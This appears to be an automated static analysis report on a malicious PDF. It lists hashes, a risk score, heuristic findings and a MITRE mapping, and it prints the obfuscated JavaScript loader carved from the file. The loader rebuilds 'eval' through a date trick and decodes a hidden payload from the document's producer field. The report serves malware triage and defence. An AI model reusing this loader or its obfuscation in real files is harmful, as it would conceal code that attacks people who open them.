Malicious PDF — malware analysis report

Static analysis result for SHA-256 d03c6e93b55acea7…

MALICIOUS

PDF

22.2 KB Created: 2010-07-25 10:32:51 First seen: 2013-08-26
MD5: 9a297a2bf26850769cbc081ea2a4d1af SHA-1: 4f376f686218ecec4f6a33ed4a692bce47bd4f96 SHA-256: d03c6e93b55acea7bcfa5aeb86ac180937924564126a29c03548076d039a2b02
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Service Execution: JavaScript

The PDF was flagged as suspicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named javascript_obj0001_000.js, is likely obfuscated and intended to perform malicious actions such as exploiting a vulnerability or downloading a secondary payload. The use of String.fromCharCode further suggests obfuscation techniques common in malicious JavaScript.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    mlzby\(mlzby\('String.fromCharCode\(' + kgfc + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x5693 392 bytes
SHA-256: 573d1c89aed4fb03af23150dd039c2eb2972d61feff68ee3282dea71e985558f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
tvkhf = app;
qpm = new Date(2010,11,4);
var itlho='';
var zcnd = 'e'+qpm.getDay()+'a'+itlho+'l';
zcnd = zcnd.replace('6','v');
mlzby=tvkhf[zcnd];
var itlho='';
mlzby('va'+itlho+'r fjpjc=th'+itlho+'i'+itlho+'s');
aacjd='pr' + itlho + qpm.getDay() + itlho + 'uc' +'er';
aacjd = aacjd.replace('6', 'od');
var kgfc = fjpjc[aacjd];
mlzby(mlzby('String.fromCharCode(' + kgfc + ')'));

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